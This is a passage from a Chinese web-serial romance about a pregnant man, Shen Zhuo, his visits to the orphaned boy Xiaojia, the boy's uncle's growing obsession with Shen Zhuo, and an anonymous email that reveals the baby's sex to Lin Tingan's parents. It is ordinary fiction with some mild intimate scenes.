叹了口气,沈茁将小佳抱得更紧了些,“小佳,你生病了不能长时间待在外面,我们回去?” “不要!” 小佳从沈茁怀里挣出来,表情坚毅:“我只想在外面,房间里很闷,我会憋死。” “那好吧,”沈茁没再强硬地提出要求,他顺着小佳的话问:“小佳是不喜欢自己的房间吗?” 这是怀柔政策,沈茁看育儿书时学到的方法。 书上说作为父母不要把自己当做孩子的领导者,而是要把自己跟孩子放在平等的位置。 小朋友如果十分抵触某种事物,那么一定有他自己的理由。 这个时候父母要做的不应该是批评和指责,反而要顺势引导,这样才能真正解决问题。 “不是,”小佳摇摇头,“房间是舅舅亲自给我布置的,我很喜欢。” “那……” 沈茁思考了一会儿,将小佳的身体扳过来面对着自己,柔声问:“小佳是不是想舅舅了?” “我……我没有!” 被戳中心事,小佳气急败坏,他狠狠拍掉沈茁的手,豹子一样冲出了凉亭。 岑复春就是在这时出现的。 他也不知在犄角旮旯里偷窥了多久,总之,小佳没跑出几步就被他揪着脖领给拎了回来。 沈茁身子重,刚站起来追出凉亭,就见岑复春拎小鸡仔一样拎着小佳。 一大一小两个影子站在树荫下,沈茁在看清岑复春的样貌后当即傻了眼:“是你?!” 几分钟后,小佳吃了退烧药,被岑复春勒令躺在床上休息不准走出房间。 楼下的会客厅,顾望西因为临时有事提前回了学校,只有沈茁惴惴不安地坐在沙发上。 “我们的前两次见面似乎都不怎么……” 岑复春停顿了一下,似乎在绞尽脑汁思考一个合适的词汇,来形容两人为数不多的相遇。 “抱歉,”沈茁握着面前的水杯,莫名有些愧疚,“之前我以为您……” 剩下的话他没说出口,前两次岑复春的出现太过凑巧,行为也很刻意。 沈茁觉得他要么是图谋不轨,要么是精神不正常。 所以每次加完联系方式,他都会在当天晚上偷偷把岑复春的电话号码关进小黑屋。 沈茁想到第一次他们见面,他蹲在地上呕吐,岑复春递给了他一瓶矿泉水。 第二次他踩到了岑复春的东西,岑复春并没有什么过激的反应,反倒是他自己有些应激,被人给吓跑了。 这么看下来,似乎是他冤枉面前这人了? “之前的事姑且不提,”岑复春拿出手机,朝沈茁晃了晃,“现在能把我从黑名单里放出来吗?” “或者你愿意添加我的新号码?” “我这就放出来,”沈茁赶忙从口袋里掏出自己的手机,找到黑名单把里面唯一一个号码拉了出来,“好了,已经放出来了。” “小佳是我表姐的孩子。” 岑复春边说边打开手机,给沈茁发了个没有意义的符号。 只听滴的一声,消息发送成功,他这才心满意足地关了手机倒扣在了桌上。 不等沈茁问,他就主动提起了自己跟小佳的关系:“我表姐去世时小佳还不到三四岁,我看他可怜就把他接了过来跟我一起住。” 说着,岑复春状似无意地看向沈茁的肚子:“我想着自己以后不会有家庭更不会有孩子,所以一直把小佳当做自己的孩子养。” “你还这么年轻怎么会没有家庭孩子呢?” 沈茁被看得头皮发麻,忙合上外套遮住自己的肚子,主动解释:“我这肚子是因为生了个小病,过几个月就好了。” “没关系的,”岑复春眼含笑意地望着沈茁,“就算你说你是怀孕了我也会相信。” 他这话是以玩笑的口吻说出来的,沈茁听了心里却是一阵恶寒。 “我怎么会怀孕呢,你别开玩笑了。” “别这么紧张,”岑复春将桌上的水杯向前推了推,“你也说了这只是一个玩笑。” “我觉得你应该多陪陪小佳,”沈茁开门见山道,“比起物质的富足,小孩子的内心世界也很重要。” “那你就多过来陪陪他吧,”岑复春笑着摆手,“我这话可不是在阴阳怪气,实在是因为我没有时间,你如果能多来陪陪小佳就再好不过了。” 说完,他又补充:“小佳自幼丧母,如果你能陪他,他应该会很开心。” 沈茁沉思片刻,稀里糊涂把事情应了下来:“如果有时间我会来的。” 下午六点,天空下起了淅沥沥的小雨,沈茁跟岑复春告别后就坐车回了家。 这场雨持续到了晚上,不仅没有变小的趋势反而越下越大。 沈茁被林庭安抱在怀里睡得正香,突然一声惊雷将他惊醒,他捂着胸口心跳快得吓人。 “没事没事,”林庭安捂住沈茁的耳朵,贴在他身后安慰:“别怕,老公在呢。” “嗯。” 沈茁闷声转身,别扭地靠在林庭安肩上,“我不怕,就是声音太大惊到了,你快睡吧明天还要早起。” 林庭安拥他拥得更紧了:“晚安。” * “晚安,小佳。” 另一边,岑复春给小佳掖好被子,坐在床边直到小佳睡着才回到自己的房间。 他躺在床上,耳边是接连不断的雷雨声。 没关窗,也没拉窗帘。 岑复春看着被狂风卷积在一起的绿色帘子,感受着雨水飞溅进房间滴在自己脸上的感觉。 莫名忆起了下午他躲在后花园的老杨树后看到的场景。 沈茁笑得那么温柔,他抚摸着小佳细软的头发,小心翼翼的动作里满是心疼和珍视。 这让岑复春想到了自己的母亲,在他还是个小萝卜头的时候,他的母亲也常常这样抚摸他。 她的表情跟沈茁一样淡然,一样充满慈祥的怜爱。 岑复春闭上眼睛,开始想象自己躺在沈茁的怀里的样子。 他枕着沈茁的腿,一转头就是沈茁高挺的肚子,他恶作剧般在沈茁的肚子上戳怼。 沈茁是气的,但他不会对自己发作,只是拍拍自己的脸,妈妈那样警告:“又春,不可以这样!” 窗外的雨越下越大,雨水打在岑复春脸上,顺着他的脸颊下滑,浸湿了暗红色的枕套。 猛地睁开眼,岑复春胡乱抹掉脸上的水滴。 他翻身下床关上了窗户,很快屋内就恢复了以往的宁静。 关了灯重新躺在床上,岑复春立刻闭上眼,接着幻想。 他依旧躺在沈茁的腿上,沈茁的脸跟母亲的脸开始重合。 苍白纤细骨节分明的手探。进自己的裤子里。 岑复春耳边又出现了那道声音:“又春,不可以这样!” “又春,不可以这样!” 沉重的闷。哼,他缓缓睁开眼。 岑复春开始恍惚,他记不清刚刚脑子的声音到底是沈茁的还是他母亲的。 不过这也不重要,这不重要了! 激动地从床上坐起,岑复春盯着床对面的老挂钟看了许久。 脑子里只有一个念头:他要沈茁。 不是为了跟林庭安作对,仅仅是因为他想,这是他第一次如此渴望一个人。 他等不及了,他的“想”是如此强烈,恨不得立刻实现刚刚的幻想。 拿起枕边的手机,岑复春给梁远打了个电话,他要下一剂猛料。 “喂,证据我会让人亲自给你们送过去,你们最好抓紧时间,免得夜长梦多。” 第70章 虽然允诺了有时间就会去看小佳, 但沈茁还是顾忌肚子里的宝宝。 他只在某天傍晚去别墅匆匆陪小佳看了半个小时书,然后就再没有出过门。 到了月中沈茁惊喜地发现自己的肚子小了许多,看起来就跟正常怀胎五月的孕肚差不多大。 林庭安立刻拉着沈茁去做了个产检,结果显示肚子里的宝宝发育正常, 甚至有些营养过剩的迹象。 这事实在太过怪异, 就连邢远都啧啧称奇, 赶忙又给沈茁做了个关于胚胎着床的检查。 邢远的科研报告写了一半,从九月中旬开始就卡住了。 卡的地方也很巧妙, 正是他一开始就没搞懂的胎儿着床位置。 胚胎生存的位置似孕囊又跟寻常的孕囊不一样, 这可苦了邢远。 他跟手下的团队照着沈茁全部的产检报告研究了一个月, 依旧没有任何推进。 好在医院进购了一批新的检测设备,这次的检查有了不一样的结果。 邢远取到报告的时候差点激动得跳起来,要不是林庭安在场他绝对要把沈茁抱进怀里,再重重拍拍他的背。 不光邢远, 林庭安二人拿到那份一切正常的产检报告时也都松了口气。 一直担心的问题突然自己就好了, 放在谁身上都会惊喜地感叹还好只是虚惊一场。 肚子渐小,最兴奋的人就是沈茁。 他发现自己只要穿上宽松的大衣, 从外面就完全看不出他的肚子了。 这意味着只要沈茁伪装好, 他就可以自由地去任何想去的地方。 身体不臃肿了, 连带着精神都好了起来。 从月中到月末,沈茁每天都会下楼散步,每隔一天就会让司机载自己去看小佳。 他经常去看望一个叫小佳的孩子这事林庭安是知道的。 保险起见,林庭安还特意给这个孩子做了背调。 调查报告里只说小佳年幼丧母, 后被母家那边一个八竿子打不着的亲戚收养了。 那人很神秘,从来不能孩子同时出现在公共场合,唯一知道的就是这个神秘的舅舅很有钱,小佳的日子不比在亲生父亲那里过得差。 这是个再普通不过的背调, 林庭安甚至能猜到沈茁热衷于去找那小孩的原因。 无非是母性泛滥,觉得这孩子身世凄惨便动了恻隐之心。 林庭安不想拘束沈茁,就放心让他去了。 大概是从小没了母亲的缘故,小佳的性格比沈茁想得还要孤僻。 沈茁每次去找他,他都蹲在后花园里玩土。 不过,一见到沈茁小佳就会立刻扔掉手里的木棍,飞奔过去抱住沈茁的腰拉着沈茁进屋。 “哥哥,你的病好了吗?” 小佳疑惑地看着沈茁渐小的腹部,大衣的遮挡下那里仿若从来没凸起过。 “你看,”沈茁笑着掀开自己的大衣,揉了揉小佳的脑袋,停顿了一下说:“哥哥的病好了很多,等到二月份就完全好了。” “哥哥,你的医生真厉害。” 小佳幽黑的眼睛直勾勾望向沈茁的腹部,他伸出小手在上面轻轻抚摸:“他竟然能准确地算出你的病什么时候会好。” “额……” 沈茁被噎住了,他面露难色嘴角抽动,胡乱在小佳头上揉了一把。 看来这个年纪的小孩也没那么好骗,他以后不能再扯这种没有几乎含量的谎了。 “哥哥,你以后经常来吧。” 小佳乖巧地坐到沈茁身侧,抱着沈茁的胳膊说:“你一来舅舅就回家了,我们就好像一家人一样。” “别瞎说,”沈茁只当童言无忌,没把小佳这话放在心里,“等小佳长大了就会有自己的家,到时候就不会像现在这样盼着舅舅回来了。” “不会的,”小佳垂眸用漆黑的瞳仁盯着自己的脚背,喃喃:“我希望我们是一家人,我不长大也可以。” 他这句话说得很轻,沈茁愣了下没听清,刚要开口询问岑复春略带责备的声音就在身后响了起来:“小佳,回屋去写作业。” “我不要!”小佳抱沈茁抱得更紧了,“哥哥才陪了我不到半个小时。” “小佳乖,你先上楼写作业,等明天哥哥再过来陪你玩。” 沈茁不经意地合上大衣将自己的孕肚遮住,轻推小佳的肩膀示意他上楼。 见沈茁发了话,小佳狠狠朝地上跺了一脚,不情不愿跑上了楼梯。 “你别听他瞎说,”岑复春取代了小佳的位置,递了一杯温水给沈茁,“最近身体怎么样?” 他眼中闪烁着难以掩饰的兴奋:“我们要不要针对小佳这次的考试情况给他制定一个学习计划?” 那样子仿佛真的是一个对孩子满怀期待的父亲。 沈茁接过那杯水,握在手里充当暖手宝。 从前他还不觉得奇怪,可刚刚听小佳那么一说,他再听岑复春这话总觉得好像哪里不对。 仿佛就像小佳说的那样,他们真的成为了一家人。 可…… 沈茁心情复杂,他愿意跟岑复春探讨这些家庭隐私问题,仅仅是因为他觉得小佳可怜。 再就是他想提前学习如何教育孩子,以后有了经验才能更好地教导谦谦。 他每天也会跟林庭安探讨这些育儿问题,所以完全没觉得哪里不对。 现在回想他似乎真的越界了。 “下次吧,”沈茁推脱道,“小佳现在长大了,有自己的思考能力,应该可以做好学习规划,作为家长也要学会放手。” “那就改天再说。” 岑复春的笑僵在了脸上,他收起工工整整收纳好的试卷,眼神有一瞬的失焦:“那就等小佳期末考之后我们再聊这个。” “好,那就等小佳放假了再说,”沈茁将已经凉掉的水杯放到桌上,起身道:“那我就先回去了。” 岑复春点头,目送沈茁坐上了早就等在外面的豪车。 桌面上的那杯水沈茁从始至终都没有喝一口,就像他半个月都没有在家里吃过任何东西一样。 岑复春眼神木然,这不是一家人应该有的样子。 他怒气冲冲跑到小佳的房间,推门而入时小佳正趴在窗台凝望着沈茁离开的方向。 “你今天说得太多了!” 岑复春揪着小佳的衣领把人从窗台拉了下来,斥责道:“我不说了,不该说的不要瞎说,你为什么跟沈茁说那些?!” “舅舅,对不起,”小佳嘴上说着抱歉,面上却一脸坦然丝毫没有做错事的样子,“以后我会小心的。” “舅舅我们以后真的会跟哥哥成为一家人吗?”小佳问。 岑复春眼神坚定,他转头顺着小佳刚才的视线看去,那是沈茁离开的方向。 “当然,”他说,“一定会的。” * 晚上,林庭安在书房伏案工作。 沈茁叫人搬了个躺椅放在林庭安身边,他躺在上面悠闲地看育儿书。 两人的距离很近,书桌和躺椅之间只有一拳的空隙。 沈茁只要一抬头就能看到林庭安线条流畅的下颚,以及他在键盘上飞舞的纤长手指。 “老公,如果以后我们的宝宝学习很差怎么办?” 沈茁突然发问,他抓住林庭安的衣角,有些发热的手顺着他宽松的居家服钻了进去。 隔着衣料,林庭安捉住贴在自己腹肌上的小手,眼神依旧落在电脑屏幕上,嘴里却认认真真回答:“那就只好多给他攒点家底了。” 他拉长声音,在敲下最后一个字符后,低头对上了沈茁的眼睛:“实在不行咱们就再生一个。” “这个还没生下来呢,谁要再生一个。” 沈茁耳尖泛红,拿起正在看的育儿书盖在了自己脸上,沉闷的声音在书下响起:“而且你不是说只会有谦谦这一个孩子。” “这不是你先假设的。”林庭安含笑道。 他俯身弯腰自上而下将沈茁全身扫了遍,炽热的眼神在沈茁的肚子上停留了很久。 紧接着视线向下,入目是沈茁白皙光滑的双腿。 他的姿势很随意,一条腿平直搭在躺椅上,另一只腿则微微弓起踩在了躺椅上。 盯着藕白色的脚踝凝视良久,林庭安喉结滚动,一把握住了沈茁的小腿。 不等沈茁开口说话,林庭安猛地站起身,大手一捞便将他抱进了怀里。 “你干嘛!” 沈茁顺势勾住林庭安的脖子,捂着突突直跳胸口嗔怒:“吓死我了!” “你放心咱们的孩子绝对聪明,”林庭安低头在沈茁脸上亲了一口,“你这种假设无论什么时候都不会发生。” 抱着人回了卧室,把沈茁放到床上,林庭安俯身捏着沈茁的下巴又亲了他一口。 初时只是浅啄,后来也不知道是谁先惹了火,两人抱在一起吻得愈发难舍难分。 几分钟后,林庭安喘着粗气贴在沈茁耳边说:“刚刚只是玩笑,说了只生这一个就只有这一个。” “我知道。” 沈茁瞳孔涣散,脸颊红得堪比熟透的苹果。 他软绵绵地推了推林庭安的肩,急促地呼吸着:“我今天又去看小佳了,就是那之前跟你提到过的小朋友。” “他考得其实不差,每一科都在九十分以上,但是他的舅舅好像总是不满意。” “我就想等谦谦长大了咱们不要逼他逼得太紧,”沈茁眼角泛着生理性的泪花,不由自主摸上了自己的肚子,“就算他分数不高我们也不能骂他。” 林庭安没开口回应,缄默片刻,他一个翻身躺在了沈茁身侧。 两人并肩躺在床上,林庭安枕着自己的胳膊仰面看着天花板,突然问:“那个叫小佳的孩子性格怎么样?” “他其实挺好玩的,你夸他一句他还会转过头去偷偷害羞,他不喜欢吃蔬菜也不喜欢吃肉,是个妥妥的饭渣子。” “你不会跟一个小朋友吃醋吧?” 沈茁主动贴过去,考拉一样手脚并用缠在林庭安身上:“要不改天咱们一起去看看小佳,你见了人就知道他其实不是个坏孩子。” 听沈茁这么说,林庭安心里仅剩的一丝疑虑也消散了。 他反手在沈茁屁股上拍了一下:“还是算了吧,除了你肚子里这个,我对其他的小孩可一点兴趣都没有。” “你要让我陪这个年纪的孩子玩,还不如直接要了我的命。” “哪有这么严重,”沈茁噗嗤笑出了声,“你要不想去就算了,等谦谦月份再大一点我也不能出门了。” 想到之前那一个月的黑暗时光,他不禁打了个冷颤。 “你自己在外面要处处小心,别磕着碰着。” 林庭安自然地贴上沈茁的小腹,绕着圈揉了揉:“以后出门都让司机送你,这个司机是专门派给你用的,你做你的事就让他在外面等着,这样也安全。” “知道了,我会小心的。” 沈茁闭上眼,心想小佳不过是个孩子哪有那么可怕。 不过林庭安能这样替自己着想,他还是很开心的。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-78 第71章 十月末, 气温骤降。 唐卿年纪大了,虽然身体依旧很好,但学校还是减少了她本科生的教学任务,让她把更多的时间放在科研和指导研究生上。 京大的苗子都是一点就通的主, 唐卿这个老教授非常放心地把指导研究生的任务交给了副导去做。 教学计划这么一调整她的私人时间立刻充裕了不少。 忙了几十年的人突然闲下来, 却是怎么也坐不住。 好在林建群现在也提早过上了退休生活, 每天去公司溜达一圈,回家再下楼溜溜鸟, 约老友打打高尔夫钓钓鱼, 好不快活。 两个忙了大半辈子的人好不容易有时间腻在家里, 凑到一起都闲得发慌。 唐卿实在坐不住,就让人把她之前给谦谦买的东西都找了出来。 她跟林建群坐在沙发上,边聊天边整理婴儿用的小玩意。 “等沈茁孩子生下来我再继续一个新的课题研究,”唐卿拿起桌上一个全新未拆封的乐高玩具, 含笑道:“我记得庭安小时候的玩具多得一个房间都装不下。” 她像是忆起了什么, 面上的笑容不断加深。 转头拍了林建群一下,唐卿举起手里的东西:“我有个学生家里收藏了一屋子这东西, 你说谦谦会喜欢吗?” 林庭安推了推鼻梁上的银框眼睛, 眯着眼睛看了一会儿:“先备着吧, 孩子没生下来谁也猜不准他是什么性格。” “我记得庭安小时候咱们给他准备了那么多玩具,小汽车、机关枪、全套奥特曼、益智拼图、玩具机关……” “那么多,数都数不过来,”林建群笑着摆摆手, “结果呢?这臭小子一个都不玩,反倒是对那些电子产品很感兴趣。” 想到儿子幼时的趣事,唐卿怅然失笑,周身的气质也柔和了下来。 “也是, 这以后的事啊谁也说不准。” 她放下手里的玩具,转头从一个精致的礼盒里拿出了件婴儿爬爬服。 纯棉的面料,脖领处是一圈蓝色的围边,纯白的衣料上印着小汽车的图案。 “庭安小时候穿得可没这么好,”林建群先一步开了口,他从唐卿手里接过爬爬服,捏着脖领处的料子揉了揉,“现在小孩的衣服做得还挺好看。” “我记得你刚生下庭安的时候,咱们什么都给他买最好的,可到底也还是比不上现在的。” “行了,别感叹了。” 唐卿夺过小小的爬爬服,挂着玉镯的手推了林建群一下:“你去把电脑拿下来,我想看看庭安小时候的照片。” “咱俩还真是想一块去了。” 林建群嘿嘿笑了几声,立马动身上了楼。 他虽然年纪大了但身子骨却硬实得很,蹭蹭几步就是一个来回,不一会儿就捧着笔记本重新坐了回来。 怀林庭安的整个孕期唐卿都处在丧子之痛里,直到孩子出生她心里的痛楚才减轻了些。 每次只有在逗弄襁褓中咿呀咿呀的白团子时,她受伤的心才会得到疗愈。 因此,唐卿执拗地想要留下林庭安生活中的每一个时刻,从他刚出生一直到上小学拍的照片和视频数不胜数。 可惜这臭小子上了小学就不愿意拍照了,每次叫他摆姿势看摄像头他都顶着张臭脸。 因为这事林建群没少揍他,可这小子也是个倔驴,怎么着都不吭声,不拍照就是不拍照。 “从这张开始这臭小子就罢工了。” 林建群指着电脑屏幕上穿着学院制服的男孩,小小的林庭安站在树荫下,五官精致立体处处透着矜贵,唯一的不足就是他脸上的表情比吃了屎还要难看。 唐卿听了心中无限感叹,那时候林庭安刚刚高过家里的窗台,眼瞧着小豆芽已经快三十,马上就有自己的孩子了。 时间过得可真快,快到恍惚回望只一瞬间就能回顾完从前所有似的。 看完照片,两人有打开了放着林庭安小时候视频的文件夹。 刚点开看了没多久,电脑右下角突然弹出了一封没有标题的邮件。 这个电脑是林建群的,上面常年登录着林建群的私人邮箱,他现在处于半退位状态,除了给手下派发任务,已经很久没有收到过邮件了。 两人狐疑地对视了一眼,林建群转过头点开了那封邮件。 这封邮件不仅没有标题,就连里面的内容也是没有一个文字,只放了两张医院的检查报告。 第一张是沈茁的孕检彩超实拍,第二张是国外一家医疗机构的检测报告。 彩超报告上是两个胎儿图像和胎儿各器官的精确数据,到这里都没有什么问题。 问题就出现在那份满是英文的检测报告上。 在“Fetal Gender”那一栏下面赫然写着“Female”。 “这怎么可能呢?” 唐卿忙俯身重新看了一遍电脑上的检测报告,手腕上的玉镯因为动作太大撞上桌角,发出了鸟鸣般清脆悠扬的声音。 撞击声吵得两人心神不定,林建群贴在唐卿身后,慌忙翻看起那家医疗机构的名字。 却见最上方的title根本没有提到任何跟机构相关的字眼,仿佛整页的分析都只是为了凸显“Female”一词。 “你先别急,”林建群握住唐卿的手,“发这东西的人居心不良,先打电话去问问邢家那小子。” 说是不急,可到底是关乎林家未来的大事,唐卿打电话时手都在发抖。 她整理好衣服,握紧拳头靠在柔软的抱枕上,电话响了一会儿才被接通。 邢远好不容易周末有一天休假,睡得正香放在枕边的手机突然震了一下。 他猛地惊醒,条件反射按下了接通键,迷迷糊糊问:“喂,几号病房,病人有什么突然状况?” “小远,是我,我是你唐卿阿姨。” 慌乱的女声在耳边响起,邢远把手机拿下来看了一眼,这才反应过来他没在科室值班。 “啊,是唐阿姨啊,”邢远松了口气,重新闭上眼靠在了床头,“唐阿姨,您有什么事吗?” “小远,你告诉阿姨,小沈怀的是男孩还是女孩?” 邢远前一天做了个大手术,才刚睡没一会就被吵醒了,现在脑子比浆糊还要迷糊,听唐卿这么问他脱口而出:“就是小……” 话到嘴边他寻摸出不对了,拐了个弯说:“阿姨,您问这个做什么呀?” 为了缓解气氛,邢远调侃道:“怎么,阿姨你们要准备孩子的衣服了?这也太早了,再晚……” 嘟嘟嘟—— 不等他继续说什么,对面就挂断了电话。 邢远怔怔看着已经黑屏的手机,心想还好他刚才脑子转得快,没顺着话把干女儿的性别秃噜出去。 把手机往边上一扔,邢远闭上眼睛美滋滋回归了大床的怀抱。 天大地大,也不如这一张床来得舒服。 “他怎么说?” 林建群看着唐卿瞬间失色的眼睛,心里升起了不好的预感。 果不其然,下一秒唐卿深深呼出口气,抖着声音说:“你说这俩男的怎么能生出女孩呢。” 虽然邢远没明说,但是他这个反应,岂不是坐实了那邮件里写的都是真的? 她不可置信地闭上眼,再睁开瞳仁里竟悄然爬上了血丝。 “小远不是说了胚胎发育良好就说明染色体没有问题,这男孩比女孩多出一倍的概率怎么就偏偏……” 最后这半句唐卿没说完,剩下的话全都化成了一声沉重的叹气。 林建群心里也没好受到哪去,林庭安是个一根筋的,好不容易有这么个天赐的机会能有自己的骨肉。 他早就计划着等孙子生出来就当继承人培养,谁承想会是这个结果。 “孙女也好,”林建群顺了顺唐卿的背,安抚道:“沈茁能生这一个,就能生第二个,到时候再让他们要个二胎,犯不着为这事发愁。” “对,你说得对。” 唐卿慌忙拿起手机,找到电话簿点击最上面的号码拨了过去。 另一边,邢远刚进入深度睡眠,脑袋旁又传来了震动声。 这次他连眼皮都没抬,迷迷糊糊接了电话:“喂?” “小远,阿姨问你小沈生产过后多久才能要二胎?” 听到这个邢远脑中的神经一下子被触动了,他最近正在跟团队研究这事。 他们发现胎儿着床的位置准确来说不能算作子宫,简要说只能算作是个“临时住所”。 团队商讨之后,大家一致认为等沈茁这胎生下来这个“突然冒出来的地方”又会“突然消失”。 要说二胎嘛? 邢远以为是团队的人又提出来什么奇思妙想,想也没想就回道:“二胎就别想了,你没看影像吗?下一个来了住哪?这个能安全生下来就不错了,别整天想些有的没的。” 他困极了,跟周公赴会接连被打扰。 语速极快地说完话就挂断了电话,不敢关机,只能把手机埋进另一个枕头里,没两秒钟就睡了过去。 唐卿开了免提,邢远的话一字不落地传进了林建群的耳朵里。 电话突然被挂断,唐卿的心也跟着暗掉的屏幕一起沉了下去。 林建群见状忙安慰她:“事情没确定下来之前你不要瞎想。” 他按住唐卿的肩膀,用力捏了一下:“我看小远这孩子跟没睡醒似的,万一说的是梦话呢,当务之急是尽快求证,以后的事以后再说。” 唐卿面色阴沉,视线落在了那盒没开封的乐高上,叹息了声:“也只能这样了。” * 林庭安手头上积压的工作已经处理了百分之九十,今晚没有饭局,比往常提前了一个小时回家。 中午助理汇报了他下个月的行程,只有月初要出差一个星期,剩下的日子他有大片的时间可以自由支配。 沈茁就跟猫冬的动物似的,天一冷就躲在家里不想出屋。[1] 林庭安一回家就见沈茁猫一样趴在阳台晒太阳,想带沈茁一起出差的想法当即便打消了。 他走过去揉了揉沈茁的脑袋,无意提起了自己要出差的消息。 沈茁一听就坐不住了,晃晃悠悠从躺起上坐起,不舍地拉住了林庭安的手。 “啊,那要去几天呀?” 他拉长了声音,慵懒的语调更像猫了。 “大概一星期,”林庭安有一瞬的停顿,“如果顺利可能会提前回来,要是有突发情况晚几天回来也说不定。” 沈茁暗中撇了撇嘴,这说了简直跟没说一样。 “如果是月初就走的话……” 他默默在心里计算时间,人长时间待在家里就会对时间的流逝失去概念,沈茁怔怔思索了许久,终于还是掏出了手机。 “那不就是明天!” “是啊,就是明天。” 林庭安活动手腕,抬手在沈茁下巴上刮了一下:“孩子爸有没有什么表示?” 沈茁没作声,他抿着嘴抓住了下巴上的大手。 放在眼下舒展开,沈茁细数着林庭安掌心的纹路,长短不一的线交织在一起比树叶的经脉还要复杂。 这半个月他过得很舒服,舒服到忘记了时间,林庭安就像无声的小雨悄然融入了他的生活。 拥有时是没什么感觉的,一旦要失去就会扯动筋脉。 不舍这个词并不足以表达沈茁的情绪,他更多的感觉是空落,是那种由内到外的不踏实感。 捧着林庭安的手帖在自己脸上,沈茁恹恹地说:“那我去帮你收拾行李。” “其实……” 自从怀了孕沈茁的皮肤一天比一天好,林庭安抚摸珍宝般揉弄沈茁的侧脸,想说行李自有助理帮他整理。 话到嘴边自己都觉得无趣,他立刻打住转了个弯说:“荣幸至极。” 林庭安这四个字说得轻佻,字缝里都带着笑意,沈茁登时听红了脸。 他猛地起身不带力地推了林庭安一把:“我……我去找行李箱。” 沈茁走得急,林庭安也没拉他,只是站在后面看他跌跌撞撞地走远。 深秋的落日余晖洒进屋里,林庭安生出了一种前所未有的感觉。 岁月静好,大抵如此。 第72章 林庭安每次出门带的行李都不多, 他是个讨厌繁重喜欢极简的人。 往常只会带一个行李箱出门,拿必备的生活用品,剩下的如有需要会直接在当地购买。 生活助理深谙他的习性,每次收纳的物品都精准地贴合林庭安的生活习惯。 可到了沈茁这事情就不一样了, 他没出过差, 也没替别人整理过行李箱, 只会一股脑地把觉得能用到的东西塞进箱子里。 想着一周七天每天换一件衣服的话至少要带七套衣服,沈茁跑去衣帽间捧了一堆林庭安的衣服出来。 先放在床上的叠好, 再一件件整整齐齐地放进了行李箱。 林庭安站在旁边看了一会儿, 才开口提醒:“宝宝, 不用带这么多衣服,西装放进去就皱了,穿不了。” “啊?” 察觉到自己做错了事,沈茁手忙脚乱把箱子里的西服抱了出来。 他起身的动作太快, 脚下没站稳猛地向后栽了一下。 手里的衣服噼里啪啦掉落在地, 接连发出扑通几声闷响。 林庭安眼明手快,扶住了沈茁的腰身。 “急什么?”他看着沈茁绯红的脸, 笑道:“我又没怪你, 皱了就皱了再买就是。” “我……我没有。” 沈茁向前迈了一步, 不着痕迹地从林庭安怀里移了出去。 “我去把这些西装挂起来,那两套休闲套装可以带吧?” 林庭安望向地面上那两套他许久没穿过的衣服,思考了两秒说:“可以。” 得到应允沈茁弯腰捡起地上的西装,忙不迭跑到衣帽间重新挂了起来。 收拾完衣服, 他骤升的心跳依旧没有得到减缓。 站在原地平静片刻,沈茁抬手捂住了自己的胸口。 刚刚他不是因为怕西装会皱才惊慌失措的,而是林庭安竟然叫他“宝宝”! 宝宝这个称谓之前不是用来叫谦谦的吗? 难道是因为现在谦谦有了名字,所以这个称呼就归他了? 沈茁扶着柜门, 因为林庭安这一个不经意的称呼久久不能平静。 长到这么大他从没被人这样叫过,哪怕是最爱他的姥爷,也只是偶尔会喊他“小茁”。 原来被别人叫宝宝是这种感觉,沈茁勾起唇角,感觉整颗心都在发甜。 这份不经意的悸动持续到了一个小时之后,沈茁帮林庭安装好行李箱的时候。 他看到什么都觉得林庭安能用上,很快就装满了第一个箱子。 沈茁收拾箱子时,林庭安没插手也没出声,只是静静坐在一边,用晦暗不明的眼神盯着他看。 那道视线就像钉子一定扎在沈茁身上,他甚至能感觉到林庭安看的是他的哪里。 就在第二个箱子即将装满时,沈茁拉上箱子右侧隔层的拉链,去手工室拿了他想要林庭安带的最后一样东西。 在书桌隔层的最下面,跟他织的娃娃放在一起。 沈茁把东西拿出来,犹豫着回到房间。 刚一进门他就对上的林庭安疑惑的眼睛。 “这个你要带上吗?” 沈茁走过去坐到了林庭安怀里,他举起手里的东西摇了摇,清脆的叮铃声瞬间在静谧的房间里响起。 那是沈茁在孟也家楼下的母婴店买的,一个小兔子形状的摇铃圈。 兔子的眼睛乌黑圆润,穿了件纯白的纱裙,纱裙上是个粉色的蝴蝶结。 “这个是我给谦谦买的小玩具,你带上吧。” 沈茁把兔子摇铃圈塞到林庭安手里,不等男人开口,他急忙说:“你可别弄坏了,这个是我给谦谦准备的第一个玩具,很有纪念意义的。” “我是怕你出差想孩子才给你的。” 林庭安心中刚升起些怅然,全被沈茁这一句“警告”给击散了。 “你确定是怕我想孩子?” 他突然低头亲昵地用自己的鼻子摩擦沈茁柔软的脸颊,在沈茁洋溢的笑声中说:“比起孩子我会更想你。” “哈哈哈哈,我……我没什么好想的。” 沈茁感觉自己仿佛被巨大的藤蔓缠住了,身上没有一处不灼热,没有一处不在痒。 林庭安紧紧抱着他,他挣脱无果,只能边挣扎边在连续的笑声中挤出些字来。 “可我就想想你。” 林庭安收紧手臂,一个翻身将沈茁压在了床上。 热度惊人的大手扶着沈茁的腰,两人一齐砸上了柔软的床垫,生生向上弹了几下才停稳。 沈茁被林庭安突来的动作搞得心惊肉跳,忙伸手勾住了他的脖子。 手里的摇铃圈在空中迅速划过一道不规则的弧度,轻灵又充满童稚的铃铛声再次响起。 沈茁听在耳里,徒生出种背德感来。 仿佛宝宝就在一旁看着他们亲密似的。 林庭安视若无睹埋头在沈茁颈上吮吻,从颈间到脸颊再到鼻子、眼睛、眼睛,怎亲都亲不够。 不知过了多久,沈茁感觉自己全身都被吻了个遍,林庭安才停下动作,伏在沈茁身上喘息。 两人脸贴着脸,可以清晰地听到彼此的呼吸。 “我以为我还会像之前那样,默默离开这个城市再默默回来,但是今天我发现一切都跟以前不一样了。” 林庭安偏头亲吻沈茁的耳垂,呢喃声如呼啸的风灌进了沈茁的耳朵里。 “我会想有一个人还在家里等我,他今天有没有乖乖睡觉,他自己在家过得好不好,我们的孩子有没有调皮。” “我从未想过自己有一天会如此思念一个人,还没有离开就开始思念。” “我们每天晚上都打一通电话好吗?”林庭安抚上沈茁的背,打着圈揉顺。 明明不是什么壮烈的表白,沈茁却听红了眼睛,他环抱住林庭安的腰身,抽了抽鼻子,闷声点头:“好。” “乖,”林庭安偏头又在沈茁脸上亲了一下,“等我回来给你和孩子带礼物。” “那你在外面要注意安全,”沈茁收紧手臂,也在林庭安脸上不轻不重亲了口,“我和宝宝在家等你。” “我和宝宝在家等你。” 这也是沈茁在林庭安出门前说的最后一句话。 